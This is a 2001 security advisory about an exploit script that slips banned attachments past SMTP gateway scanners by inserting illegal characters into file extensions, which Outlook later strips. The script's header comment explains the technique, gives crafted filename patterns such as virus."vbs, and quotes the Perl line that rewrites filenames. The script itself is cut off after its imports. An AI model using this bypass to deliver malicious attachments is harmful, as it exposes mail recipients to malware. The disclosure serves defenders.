Exploit Code Released for the SMTP Attachment Protection Bypass
24 Jul. 2001
Summary
The following exploit code allows sending of banned attachments through the SMTP gateways by adding invalid characters to the filename. Since Outlook removes these invalid characters without informing the user of their presence, an attacker is able to send a file with an invalid file name (for example, a Virus with a file ending with a .vbs) through the SMTP gateway, and when it actually arrives to the user, outlook will strip the invalid characters leaving just the dangerous extension (.vbs in this case).
This vulnerability is known to work on MailMarshall and TrendMicro Scanmail, and it is assumed that others are probably vulnerable.
Credit:
The information has been provided by Aidan.
# attqt.pl 0.1 by Aidan O'Kelly July 2001
# Send banned attachments through SMTP gateways, this works because MS Outlook removes illegal
# characters in filenames. So when you put an illegal char (such as ") in the extension. The Gateway will
# not recognize it as a dangerous attachment. However, when the user on the other end opens it the illegal
# char will be removed.
#
# Feedback welcome. aidan.ok@oceanfree.net
#
# This is known to work on MailMarshall and TrendMicro Scanmail. Others have not been tested but most are
# probably vulnerable. If it works on any others, please mail me and let me know.
# This only puts in one quote after the dot (eg virus."vbs or virus."exe)
# Some gateways might still pick up on the vbs. you can put in more or different
# charachters like virus.%v"b********s if you feel like it.
# $filename =~ s/\./\.\"/g; is the line that changes it.
use Getopt::Std;
use MIME::Base64 qw(encode_base64);
use IO::Socket::INET;